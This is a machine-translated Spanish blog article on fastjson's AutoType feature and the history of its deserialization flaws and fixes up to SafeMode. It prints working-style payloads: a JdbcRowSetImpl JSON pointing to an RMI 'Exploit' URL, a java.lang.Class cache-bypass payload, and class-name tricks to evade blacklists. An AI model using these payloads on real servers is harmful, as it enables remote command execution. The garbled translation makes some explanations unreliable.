fastjson de la biblioteca de análisis JSON

Todo el mundo debe estar familiarizado con fastjson.Esta es la biblioteca de análisis JSON de código abierto de Alibaba, que generalmente se usa para convertir entre Java Beans y cadenas JSON.

Hace algún tiempo, fastjson estuvo expuesto muchas veces a tener lagunas. Muchos artículos informaron sobre este incidente y dieron sugerencias para la actualización.

Pero como desarrollador, me preocupa más por qué está expuesto con frecuencia a vulnerabilidades. Así que miré el releaseNote de fastjson y algún código fuente con dudas.

Finalmente, descubrí que esto está realmente relacionado con una función de AutoType en fastjson.

Desde la v1.2.59 lanzada en julio de 2019 hasta la v1.2.71 lanzada en junio de 2020, hay actualizaciones sobre AutoType en cada actualización de versión.

Las siguientes son varias actualizaciones importantes sobre AutoType en las notas de lanzamiento oficiales de fastjson:

Versión 1.2.59, seguridad mejorada cuando AutoType está activado fastjson

1.2.60 lanzado, agregando la lista negra de AutoType, solucionando el problema de seguridad de denegación de servicio fastjson

Versión 1.2.61, agregue la lista negra de seguridad de AutoType fastjson

1.2.62 lanzado, agregando la lista negra AutoType, deserialización de fecha mejorada y JSONPath fastjson

Versión 1.2.66, corrección de errores, refuerzo de la seguridad y endurecimiento de la seguridad, agregue AutoType blacklist fastjson

Lanzamiento 1.2.67, corrección de errores, endurecimiento de la seguridad, lista negra AutoType agregada fastjson

Versión 1.2.68, compatible con GEOJSON, lista negra de AutoType complementada. ( Introduzca una configuración de modo seguro. Después de configurar el modo seguro, el tipo automático no es compatible independientemente de la lista blanca o la lista negra ). fastjson

Lanzado 1.2.69, reparando la vulnerabilidad de seguridad de omisión del interruptor AutoType de alto riesgo recientemente descubierta, complementó la lista negra de AutoType fastjson

1.2.70 lanzado, compatibilidad mejorada, agregada lista negra de AutoType

Incluso en la biblioteca de código abierto de fastjson, hay un problema que sugiere que el autor proporcione una versión sin autotipo:

![-w747][1]

Entonces, ¿qué es AutoType? ¿Por qué fastjson introduce AutoType? ¿Por qué AutoType conduce a agujeros de seguridad? Este artículo lo analizará en profundidad.

¿Dónde es sagrado AutoType?

La función principal de fastjson es serializar Java Beans en cadenas JSON, de modo que después de obtener las cadenas, puedan persistir a través de bases de datos y otros métodos.

Sin embargo, fastjson no utiliza [el propio mecanismo de serialización de Java][2] en el proceso de serialización y deserialización, sino que personaliza un conjunto de mecanismos.

De hecho, para el marco JSON, si desea convertir un objeto Java en una cadena, tiene dos opciones:

  • 1. Basado en atributos
  • 2. Basado en setter/getter

En nuestro marco de serialización JSON de uso común, FastJson y jackson serializan objetos en cadenas json atravesando todos los métodos getter de la clase. Gson no hace esto, atraviesa todas las propiedades de la clase a través de la reflexión y serializa sus valores en json.

Supongamos que tenemos la siguiente clase de Java:

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

Cuando queramos serializarlo, fastjson escaneará el método getter, es decir, buscará getName y getFruit, y luego serializará los valores de los dos campos name y fruit en una cadena JSON.

Entonces viene la pregunta, la fruta que definimos arriba es solo una interfaz, ¿puede fastjson serializar correctamente los valores de los atributos al serializar? Si es posible, ¿en qué tipo deserializará fastjson la fruta al deserializar?

Intentemos verificarlo, según (fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

El código anterior es relativamente simple. Creamos una tienda, especificamos un nombre para ella, y creamos un Apple subtipo Fruit, y luego serializamos esta tienda para obtener el siguiente JSON.toJSONStringcontenido JSON:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

Entonces, ¿cuál es el tipo de esta fruta? ¿Se puede deserializar en Apple? Ejecutemos de nuevo el siguiente código:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

Los resultados de la ejecución son los siguientes:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

Se puede ver que después de deserializar la tienda, intentamos convertir Fruit a Apple, pero se lanza una excepción, si intentamos convertir directamente a Fruit, no se reportará ningún error, como por ejemplo:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

Para el fenómeno anterior, sabemos que cuando una clase contiene una interfaz (o clase abstracta), al usar fastjson para la serialización, el subtipo se borrará y solo se mantendrá el tipo de la interfaz (clase abstracta), haciendo lo contrario El tipo original no se puede obtener durante la serialización.

Entonces, ¿hay alguna forma de resolver este problema? Fastjson presenta AutoType, que registra el tipo original durante la serialización.

El método de uso es por SerializerFeature.WriteClassNamemarcado, es decir, en el código anterior

String jsonString = JSON.toJSONString(store);

cambiado a:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

Es decir, el código anterior, la salida es la siguiente:

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

Se puede ver que luego de SerializerFeature.WriteClassNamemarcar con , hay un @typecampo extra en la cadena JSON, marcando el tipo original correspondiente a la clase, por lo que es conveniente ubicar el tipo específico al deserializar

Como se indicó anteriormente, después de deserializar la cadena serializada, puede obtener un tipo de Apple sin problemas y el contenido de salida general es el siguiente:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

Esto es AutoType, y la razón por la que se introdujo AutoType en fastjson.

Sin embargo, también es esta característica la que ha causado un dolor interminable a los usuarios posteriores de fastjson debido a las consideraciones de seguridad insuficientes al comienzo del diseño funcional.

¿Qué tiene de malo AutoType?

Debido a la función autoType, cuando fastjson deserializa la cadena JSON, leerá @typeel contenido, intentará deserializar el contenido JSON en este objeto y llamará al método setter de esta clase.

Luego puede usar esta función para construir una cadena JSON usted mismo y usarla para @typeespecificar una biblioteca de ataque que desea usar.

Por ejemplo, los piratas informáticos suelen utilizar la biblioteca de clases de ataque com.sun.rowset.JdbcRowSetImpl. Esta es una biblioteca de clases proporcionada oficialmente por Sun. El dataSourceName de esta clase admite el paso de una fuente rmi. Al analizar este uri, admitirá llamadas remotas rmi. Llame al método en el dirección rmi especificada.

Y fastjson llamará al método setter de la clase de destino al deserializar, por lo que si el pirata informático configura un comando para que se ejecute en el dataSourceName de JdbcRowSetImpl, tendrá graves consecuencias.

Si configura una cadena JSON de la siguiente manera, puede realizar la ejecución remota del comando (en versiones anteriores, JdbcRowSetImpl se ha incluido en la lista negra en la nueva versión)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

Esta es la denominada vulnerabilidad de ejecución remota de comandos, es decir, explotar la vulnerabilidad para invadir el servidor de destino y ejecutar comandos a través del servidor.

En la primera versión de fastjson (antes de v1.2.25), debido a que AutoType está habilitado de forma predeterminada y no hay restricciones, se puede decir que está desnudo.

A partir de v1.2.25, fastjson ha deshabilitado la compatibilidad con autotipo de forma predeterminada, agregó checkAutotype y agregó lista negra + lista blanca para evitar que se habilite el autotipo.

Sin embargo, también fue a partir de esta época cuando comenzó el juego entre los hackers y los autores de fastjson.

Debido a que fastjson deshabilita la compatibilidad con autotype de forma predeterminada y verifica las listas blancas y negras, la dirección del ataque cambia a "cómo omitir checkAutotype".

Echemos un vistazo más de cerca a las vulnerabilidades y los principios de ataque en cada versión de fastjson. Debido a limitaciones de espacio, no explicaré los detalles especiales aquí. Si está interesado, puedo escribir un artículo separado más adelante para explicar los detalles . El siguiente contenido es principalmente para brindar algunas ideas, el propósito es explicar la importancia de prestar atención a la seguridad al escribir código.

Omitiendo checkAutotype, el juego entre hackers y fastjson

Antes de fastjson v1.2.41, en el código de checkAutotype, las listas blancas y negras se filtrarán primero. Si la clase que se va a deserializar no está en la lista blanca y negra, entonces se deserializará la clase de destino.

Sin embargo, durante el proceso de carga, fastjson tiene un proceso especial, es decir, al cargar la clase, se eliminará la suma antes y después de className, Lcomo ;se muestra en la figura Lcom.lang.Thread;.

![-w853][3]

Las listas blancas y negras son detectadas por startWith, por lo que los piratas informáticos pueden omitir la verificación de las listas blancas y negras agregando sumas antes Ly después de la biblioteca de ataque que desean usar, sin demorar la carga normal de fastjson.;

Por ejemplo , primero pasará la verificación de la lista blanca, y luego fastjson eliminará las sumas delantera y Lcom.sun.rowset.JdbcRowSetImpl;trasera al cargar la clase , y se convierte en .L;com.sun.rowset.JdbcRowSetImpl

Para evitar ser atacado, en la versión posterior v1.2.42, al realizar la detección de listas blancas y negras, fastjson primero juzga si el anverso y el reverso del nombre de clase de la clase de destino es una suma y, de ser así, intercepta el anverso. sumas inversas y luego procede a la verificación de la lista Lblanca ;y Lnegra .;

LLParece resolver el problema, pero después de que el pirata informático descubre esta regla, escribe dos veces la suma antes y después de la clase objetivo cuando ataca ;;, de modo que aún puede evitar la detección después de ser interceptado. comoLLcom.sun.rowset.JdbcRowSetImpl;;

Siempre hay gente mejor que tú. En v1.2.43, antes del juicio de la lista negra y la lista blanca, fastjson agregó un LLjuicio sobre si comenzar con .Si la clase de destino comienza LLcon , entonces se lanzará una excepción directamente, por lo que esta vulnerabilidad se soluciona temporalmente.

El hacker no pudo pasar Lpor aquí ;, por lo que trató de encontrar una manera de comenzar desde otros lugares, porque cuando fastjson carga clases, no solo las trata de manera especial, sino que también las Ltrata de manera especial.;[

El mismo método de ataque, agregado frente a la clase de destino [, todas las versiones anteriores a v1.2.43 cayeron nuevamente.

Por lo tanto, en la versión v1.2.44, el autor de fastjson hizo requisitos más estrictos, siempre que la clase de destino comience [o ;termine con , se generará una excepción directamente. También soluciona los errores encontrados en v1.2.43 y versiones históricas.

En las próximas versiones, el principal método de ataque de los piratas informáticos es eludir la lista negra, y fastjson mejora constantemente su propia lista negra.

¿Se puede atacar autoType sin habilitarlo?

Pero los buenos tiempos no duraron mucho: al actualizar a v1.2.47, los piratas informáticos encontraron una forma de atacar de nuevo. Y este ataque solo funciona cuando AutoType está desactivado.

¿No es extraño que si AutoType no está activado, será atacado en su lugar?

Debido a que hay un caché global en fastjson, cuando se carga la clase, si el autotipo no está habilitado, primero intentará obtener la clase del caché y, si existe en el caché, regresará directamente. ** Los piratas informáticos utilizan este mecanismo para atacar.

El hacker primero encuentra una manera de agregar una clase al caché y luego la ejecuta de nuevo para evitar la detección de la lista blanca y negra.

En primer lugar, si desea agregar una clase en la lista negra al caché, debe usar una clase que no esté en la lista negra. Esta clase esjava.lang.Class

java.lang.ClassEl deserializador correspondiente a la clase es MiscCodec, al deserializar tomará el valor val en la cadena json y cargará la clase correspondiente al val.

Si fastjson cache es verdadero, la clase correspondiente a este valor se almacenará en caché en el caché global

Si la clase llamada val se vuelve a cargar y el autotipo no está habilitado, el siguiente paso es intentar obtener esta clase del caché global y luego atacar.

Por lo tanto, los piratas informáticos solo necesitan disfrazar la clase de ataque de la siguiente manera, en el siguiente formato:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

Entonces, en v1.2.48, fastjson corrigió este error. En MiscCodec, donde se procesa la clase Class, el caché de fastjson se establece en falso, de modo que la clase de ataque no se almacenará en caché y no se obtendrá.

En las siguientes versiones, los piratas informáticos y fastjson han seguido eludiendo y agregando listas negras a la lista negra.

Hasta más tarde, los piratas informáticos descubrieron un nuevo método de explotación en la versión anterior a la v1.2.68.

Atacar con excepciones

En fastjson, si la clase especificada por @type es una subclase de Throwable, entonces la clase de procesamiento de deserialización correspondiente usará ThrowableDeserializer

En el método de ThrowableDeserializer#deserialze, cuando la clave de un campo también es @type, este valor se considerará como el nombre de la clase y luego se realizará una detección checkAutoType.

Y especifique expectClass como Throwable.class, pero en checkAutoType, existe un acuerdo de que si se especifica expectClass, también pasará la verificación.

![-w869][4]

Porque fastjson intentará ejecutar el método getter dentro al deserializar, y hay un método getMessage en la clase Exception.

Los piratas informáticos solo necesitan personalizar una excepción y reescribir su getMessage para lograr el propósito del ataque.

Esta vulnerabilidad es la "vulnerabilidad grave" que se volvió viral en Internet en junio, lo que obligó a muchos desarrolladores a actualizarse a la nueva versión.

Esta vulnerabilidad se solucionó en la versión 1.2.69. El principal método de reparación es modificar la clase esperada que se debe filtrar, agregar 4 clases nuevas y cambiar el juicio de tipo de clase original a juicio hash.

De hecho, según la documentación oficial de fastjson, aunque no actualices a la nueva versión, puedes evitar este problema en la v1.2.68, es decir, usar el modo seguro.

¿Modo seguro de escritura automática?

Se puede ver que la explotación de estas vulnerabilidades es casi todo alrededor de AutoType. Por lo tanto, en la versión v1.2.68, se introdujo SafeMode. Después de configurar SafeMode, sin importar la lista blanca o la lista negra, AutoType no es compatible, lo que se puede aliviar para hasta cierto punto Ataque variante de Gadgets de deserialización.

Después de configurar SafeMode, el campo @type ya no tendrá efecto, es decir, al analizar una cadena JSON como {“@type”: “com.java.class”}, la clase correspondiente ya no se deserializará.

La forma de habilitar el modo seguro es la siguiente:

ParserConfig.getGlobalInstance().setSafeMode(true);

Por ejemplo, en el ejemplo de código inicial de este artículo, use el código anterior para habilitar el modo de modo seguro, ejecute el código y obtenga la siguiente excepción:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

Pero vale la pena señalar que al usar esta función, fastjson deshabilitará directamente la función autoType, es decir, en el método checkAutoType, se lanzará una excepción directamente.

![-w821][5]

Epílogo

Actualmente, fastjson se lanzó a la versión v1.2.72, y los problemas conocidos en la versión anterior se solucionaron en la nueva versión.

Los desarrolladores pueden actualizar el fastjson utilizado en sus proyectos a la última versión, y si AutoType no es necesario en el código, pueden considerar usar safeMode, pero se debe evaluar el impacto en el código histórico.

Porque fastjson define su propia clase de herramienta de serialización y usa tecnología asm para evitar reflejos, usar caché y hacer una gran cantidad de optimización de algoritmos, etc., lo que mejora en gran medida la eficiencia de serialización y deserialización.

Algunos internautas han comparado antes:

![-w808][6]

Por supuesto, ser rápido también trae algunos problemas de seguridad, lo cual es innegable.

Finalmente, me gustaría decir algunas palabras: aunque FastJson es de código abierto de Alibaba, que yo sepa, su autor, Wen Shao, mantiene la mayor parte del tiempo en su tiempo libre.

Un internauta en Zhihu dijo: " Wen Shao casi apoyó una biblioteca JSON que él mismo usa ampliamente, mientras que otras bibliotecas casi dependen de un equipo completo. Basado en esto, Wen Shao, como "Ali que nunca cambió su intención original, "El primera generación de personas de código abierto", bien merecido " .

De hecho, muchas personas en Ali han criticado la vulnerabilidad de fastjson, pero después de las críticas, todos son más comprensivos y tolerantes .

fastjson es actualmente una biblioteca de clase doméstica relativamente conocida, y se puede decir que ha atraído mucha atención, por lo que se ha convertido gradualmente en el foco de la investigación de seguridad, por lo que se descubrirán algunas lagunas profundas. Como dijo el propio Wen Shao:

"En comparación con el descubrimiento de vulnerabilidades, lo que es peor es que hay vulnerabilidades que no se sabe que se exploten. El descubrimiento oportuno de vulnerabilidades y las actualizaciones para corregirlas son una manifestación de las capacidades de seguridad".

Supongo que te gusta

Origin blog.csdn.net/zy_dreamer/article/details/132307083
Recomendado
Clasificación